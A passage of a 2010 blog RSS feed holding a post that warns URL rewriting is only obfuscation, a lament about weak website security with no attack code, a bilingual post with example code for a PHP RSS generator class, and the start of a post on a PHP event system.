<p>Podemos ver que este método é excelente para dificultar a tarefa a script kiddies e crackers com ferramentas de crawling com pesquisa de vulnerabilidades, pode também diminuir os pontos de teste de possíveis atacantes, como é mostrado neste último exemplo. No entanto, é preciso ter em muita atenção o que já referi anteriormente: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!</p>
<div class="shr-publisher-926"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F27%2Furl-rewriting-contra-ataques%2F' data-shr_title='URL+Rewriting+contra+ataques+%3F%28%21%29'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F27%2Furl-rewriting-contra-ataques%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F27%2Furl-rewriting-contra-ataques%2F' data-shr_title='URL+Rewriting+contra+ataques+%3F%28%21%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Web Security &#8211; You&#8217;re Doing it WRONG</title>
		<link>http://joaopedropereira.com/blog/2010/08/25/web-security-youre-doing-it-wrong/</link>
		<comments>http://joaopedropereira.com/blog/2010/08/25/web-security-youre-doing-it-wrong/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 10:33:20 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[vulnerabilidade]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=906</guid>
		<description><![CDATA[É triste o estado de descuido em que se encontram a maior parte dos WebSites nacionais&#8230; Não falo ao nível de organização, acessibilidade, usabilidade, design&#8230; mas sim ao nível da segurança, ou melhor, à falta dela&#8230; Navegar por sites de grandes empresas, de universidades e respectivas faculdades, de sites governamentais, etc. aleatoriamente é quase como [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F25%2Fweb-security-youre-doing-it-wrong%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F25%2Fweb-security-youre-doing-it-wrong%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: justify;">É triste o estado de descuido em que se encontram a maior parte dos WebSites nacionais&#8230; Não falo ao nível de organização, acessibilidade, usabilidade, design&#8230; mas sim ao nível da segurança, ou melhor, à falta dela&#8230;</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-907" title="XSS Mosquito" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/08/misquito2.jpg" alt="" width="242" height="179" /></p>
<p style="text-align: justify;">Navegar por sites de grandes empresas, de universidades e respectivas faculdades, de sites governamentais, etc. aleatoriamente é quase como encontrar a cada clique um potencial alvo de ataque, quer ao site em si só para fazer defaces estúpidos, quer para atacar os seus visitantes ou para roubar dados e bases de dados importantes.</p>
<p style="text-align: justify;">Porquê que isto acontece ? Porque é que não há cuidado em aplicar filtros nos formulários e nas querys que são feitas client-side  ? Existem já filtros desenvolvidos, open-source, que podiam ser aplicados rapidamente aquando do processo de desenvolvimento e que mais ou menos eficientes já eram algo melhor do que nada!! Não custava nem uma hora no desenvolvimento final de um website, e para empresas cujo negócio é o desenvolvimento de soluções web à medida para grandes entidades é inadmissível nunca se terem preocupado em criar uma solução por mais simples que fosse para aplicar a todos os seus trabalhos&#8230;</p>
<p style="text-align: justify;">Depois há sempre os bons da fita que quando se apercebem de alguma coisa avisam os developers do site em questão e tentam ajudar. Quando isto acontece existem três tipos de empresas / pessoas:<br />
- não ligam nenhum à sugestão dada e o site continua vulnerável<br />
- ameaçam a pessoa que os está a alertar de lhes pôr um processo em cima (aqui ainda não percebi se é com medo que se peça dinheiro ou que fale com o cliente afectado)<br />
- agradecem a sugestão, corrigem o erro e em alguns casos oferecem recompensas (dinheiro, serviços e até empregos)</p>
<p style="text-align: justify;">Eu pessoalmente já tive estas experiências e desde que as minhas boas intenções foram levadas a mal e fui ameaçado por uma grande empresa portuguesa de desenvolvimento web que deixei de me interessar por ajudar.</p>
<p style="text-align: justify;">Depois claro que aparecem sempre problemas com bases de dados com informações confidenciais roubadas, session hijacking, ou os famosos defaces.</p>
<p style="text-align: justify;">Vamos lá pessoal, não é nada de impossível, é só preciso querer. Com o mínimo de cuidado podem ser evitadas muitas situações embaraçosas para vocês, para os vossos clientes e para o público alvo dos vossos clientes.</p>
<p style="text-align: justify;"><span style="color: #c0c0c0;">Imagem de http://www.fireblog.com/</span></p>
<div class="shr-publisher-906"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F25%2Fweb-security-youre-doing-it-wrong%2F' data-shr_title='Web+Security+-+You%27re+Doing+it+WRONG'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F25%2Fweb-security-youre-doing-it-wrong%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F25%2Fweb-security-youre-doing-it-wrong%2F' data-shr_title='Web+Security+-+You%27re+Doing+it+WRONG'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/08/25/web-security-youre-doing-it-wrong/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PHP RSS Feed Generator Class</title>
		<link>http://joaopedropereira.com/blog/2010/07/28/php-rss-feed-generator-class/</link>
		<comments>http://joaopedropereira.com/blog/2010/07/28/php-rss-feed-generator-class/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 23:06:28 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projectos]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=858</guid>
		<description><![CDATA[English Version &#124; Versão Portuguesa It&#8217;s been a while since I&#8217;ve planned on developing a new platform for my work as Web Developer, and next to all Web Developers, and I started to develop some modules and this RSS Generator Class born to fulfill my needs. Supported versions: RSS 2.0 Download: Download it Features: Generates [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F28%2Fphp-rss-feed-generator-class%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F28%2Fphp-rss-feed-generator-class%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<h2 style="text-align: center;"><a title="English Version" href="#english">English Version</a> | <a href="#portugues">Versão Portuguesa</a></h2>
<p style="text-align: center;"><a class="button" href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip"><br />
</a></p>
<hr />
<span id="english"> </span></p>
<p>It&#8217;s been a while since I&#8217;ve planned on developing a new platform for my work as Web Developer, and next to all Web Developers, and I started to develop some modules and this RSS Generator Class born to fulfill my needs.</p>
<p><span style="text-decoration: underline;">Supported versions:</span><br />
RSS 2.0</p>
<p><span style="text-decoration: underline;">Download:</span><br />
<a title="Download RSS Feed Generator Class" href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip">Download it</a></p>
<p><span style="text-decoration: underline;">Features:</span><br />
Generates RSS 2.0 feeds<br />
All feeds are validated by <a title="Feed Validator" href="http://feedvalidator.org/" target="_blank">feed validator</a><br />
Supports all feed elements<br />
Simple &amp; easy to define channel proprieties<br />
Simple &amp; easy to define item elements<br />
Enables usage of sub-tags and attributes</p>
<p><span style="text-decoration: underline;">Example </span></p>
<p>It&#8217;s a minimum &#8220;how to&#8221; example needed to understand how to use this class. It&#8217;s part of the download package.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;feed.php&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create a new Feed</span>
	<span style="color: #000088;">$feed</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Feed<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Setting the channel elements</span>
	<span style="color: #666666; font-style: italic;">//Helper -&gt; http://www.rssboard.org/rss-specification</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedTitle</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Demo - RSS Generator Class'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedLink</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://joaopedropereira.com/blog/rss'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedDesc</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'This is demo of generating a RSS feed. ONLY RSS Version 2.0 Supported'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedImage</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Oh, my photo...'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://joaopedropereira.com/projects/rss_gen'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://s3.amazonaws.com/twitter_production/profile_images/63969619/imagemresized.jpg'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Is possible to use setChannelElm() function for setting other optional channel elements</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setChannelElm</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'language'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'en-us'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create a new Item</span>
	<span style="color: #000088;">$item1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Item<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Setting the Item elements</span>
	<span style="color: #666666; font-style: italic;">//Helper -&gt; http://www.rssboard.org/rss-specification</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemTitle</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Item nº 1'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemLink</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://joaopedropereira.com'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDate</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDesc</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Bla, bla, bla, item nº 1.'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemEnclosure</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://www.beardodisco.com/beatelectric/music/Loverboy12Mix.mp3'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'17121349'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'audio/mpeg'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemAuthor</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'contacto@joaopedropereira.com (João Pedro Pereira)'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #666666; font-style: italic;">//As in Channel is possible to use setItemElm() function for setting other optional item elements</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create another Item</span>
	<span style="color: #000088;">$item2</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Item<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Item nº 2'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://twitter.com/joaoppereira'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'Bla, bla, bla, twitter of the owner of the blog of a webdeveloper'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$item2</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDate</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item2</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemAuthor</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'contacto@joaopedropereira.com (João Pedro Pereira)'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Adding both created items</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">addItem</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$item1</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">addItem</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$item2</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Now we're ready to generate the Feed, Awesome!</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">genFeed</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: center;"><a class="button" href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip">Download</a> | <a class="button" href="http://joaopedropereira.com/projects/rss_gen/">Demo</a></p>
<p><img src="http://joaopedropereira.com/blog/wp-content/uploads/2010/07/Demo-RSS-Generator-Class_1280270120429-w640-h480.png" alt="" title="Demo - RSS Feed Generator Class" width="640" height="311" class="aligncenter size-full wp-image-886" /></p>
<p style="text-align: center;"><a class="button" href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip">Download</a> | <a class="button" href="http://joaopedropereira.com/projects/rss_gen/">Demo</a></p>
<p><strong>EDIT</strong></p>
<p>HOT NEWS, PHP XML-RSS Feed Generator Was Accepted on <a class="button" href="http://www.phpclasses.org/package/6394-PHP-Generate-RSS-2-0-feeds.html">PHPClasses.org</a>!!</p>
<hr />
<p><span id="portugues"> </span></p>
<p>Há já algum tempo que pretendo desenvolver uma nova plataforma para o meu trabalho como Web Developer, e numa fase posterior abrir como serviço para todos os Web Developers, e por isso comecei a desenvolver alguns módulos para essa plataforma, trabalho que deu, entre outros, no módulo de RSS Feed&#8217;s surgindo assim a RSS Generator Class para satisfazer as necessidades.</p>
<p><span style="text-decoration: underline;">Versões Suportadas:</span><br />
RSS 2.0</p>
<p><span style="text-decoration: underline;">Download:</span><br />
<a title="Download RSS Feed Generator Class" href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip">Download it</a></p>
<p><span style="text-decoration: underline;">Funcionalidades:</span><br />
Gera RSS Feeds versão 2.0<br />
As feeds são válidas conforme o <a title="Feed Validator" href="http://feedvalidator.org/" target="_blank">feed validator</a><br />
Suporta todos os elementos quer dos channel&#8217;s quer dos item&#8217;s<br />
É simples definir as propriedades do channel<br />
É simples definir as propriedades dos items</p>
<p>É possível utilizar sub-tags e atributos</p>
<p><span style="text-decoration: underline;">Exemplo</span></p>
<p>Um pequeno exemplo que mostra como se pode fazer uso desta classe. Faz parte do pacote disponível para download.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;feed.php&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create a new Feed</span>
	<span style="color: #000088;">$feed</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Feed<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Setting the channel elements</span>
	<span style="color: #666666; font-style: italic;">//Helper -&gt; http://www.rssboard.org/rss-specification</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedTitle</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Demo - RSS Generator Class'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedLink</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://joaopedropereira.com/blog/rss'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedDesc</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'This is demo of generating a RSS feed. ONLY RSS Version 2.0 Supported'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setFeedImage</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Oh, my photo...'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://joaopedropereira.com/projects/rss_gen'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://s3.amazonaws.com/twitter_production/profile_images/63969619/imagemresized.jpg'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Is possible to use setChannelElm() function for setting other optional channel elements</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setChannelElm</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'language'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'en-us'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create a new Item</span>
	<span style="color: #000088;">$item1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Item<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Setting the Item elements</span>
	<span style="color: #666666; font-style: italic;">//Helper -&gt; http://www.rssboard.org/rss-specification</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemTitle</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Item nº 1'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemLink</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://joaopedropereira.com'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDate</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDesc</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Bla, bla, bla, item nº 1.'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemEnclosure</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'http://www.beardodisco.com/beatelectric/music/Loverboy12Mix.mp3'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'17121349'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'audio/mpeg'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemAuthor</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'contacto@joaopedropereira.com (João Pedro Pereira)'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #666666; font-style: italic;">//As in Channel is possible to use setItemElm() function for setting other optional item elements</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Create another Item</span>
	<span style="color: #000088;">$item2</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Item<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Item nº 2'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://twitter.com/joaoppereira'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'Bla, bla, bla, twitter of the owner of the blog of a webdeveloper'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$item2</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemDate</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$item2</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setItemAuthor</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'contacto@joaopedropereira.com (João Pedro Pereira)'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Adding both created items</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">addItem</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$item1</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">addItem</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$item2</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//Now we're ready to generate the Feed, Awesome!</span>
	<span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">genFeed</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: center;"><a href="http://joaopedropereira.com/projects/rss_gen/rss_gen.zip">Download</a> | <a href="http://joaopedropereira.com/projects/rss_gen/">Demo</a></p>
<p><strong>EDIT</strong></p>
<p>HOT NEWS, PHP XML-RSS Feed Generator foi aceite no <a class="button" href="http://www.phpclasses.org/package/6394-PHP-Generate-RSS-2-0-feeds.html">PHPClasses.org</a>!!</p>
<div class="shr-publisher-858"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F28%2Fphp-rss-feed-generator-class%2F' data-shr_title='PHP+RSS+Feed+Generator+Class'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F28%2Fphp-rss-feed-generator-class%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F28%2Fphp-rss-feed-generator-class%2F' data-shr_title='PHP+RSS+Feed+Generator+Class'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/07/28/php-rss-feed-generator-class/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
<enclosure url="http://www.beardodisco.com/beatelectric/music/Loverboy12Mix.mp3" length="17121349" type="audio/mpeg" />
		</item>
		<item>
		<title>PHP Simple Events System Overview</title>
		<link>http://joaopedropereira.com/blog/2010/07/21/php-simple-events-system-overview/</link>
		<comments>http://joaopedropereira.com/blog/2010/07/21/php-simple-events-system-overview/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 18:30:41 +0000</pubDate>
		<dc:creator>scorch</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projectos]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[Objectos]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=817</guid>
		<description><![CDATA[O PHP-SimpleEventsSystem é uma simples classe em PHP que permite a qualquer programador criar uma aplicação orientada a eventos em PHP. Sendo assim, esta classe possibilita a criação mais facilmente de aplicações web com possibilidade de adicionar plugins, sem que estes tenham de mexer com o código interno da aplicação, permite que uma framework use [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F21%2Fphp-simple-events-system-overview%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F07%2F21%2Fphp-simple-events-system-overview%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>O PHP-SimpleEventsSystem é uma simples classe em PHP que permite a qualquer programador criar uma aplicação orientada a eventos em PHP. Sendo assim, esta classe possibilita a criação mais facilmente de aplicações web com possibilidade de adicionar plugins, sem que estes tenham de mexer com o código interno da aplicação, permite que uma framework use internamente a classe PHP-SES e melhorando consideravelmente a interacção entre a framework e a aplicação. Mas permite muito mais, permite até onde a sua imaginação chegar. <img src='http://joaopedropereira.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<h2>Basic Overview</h2>
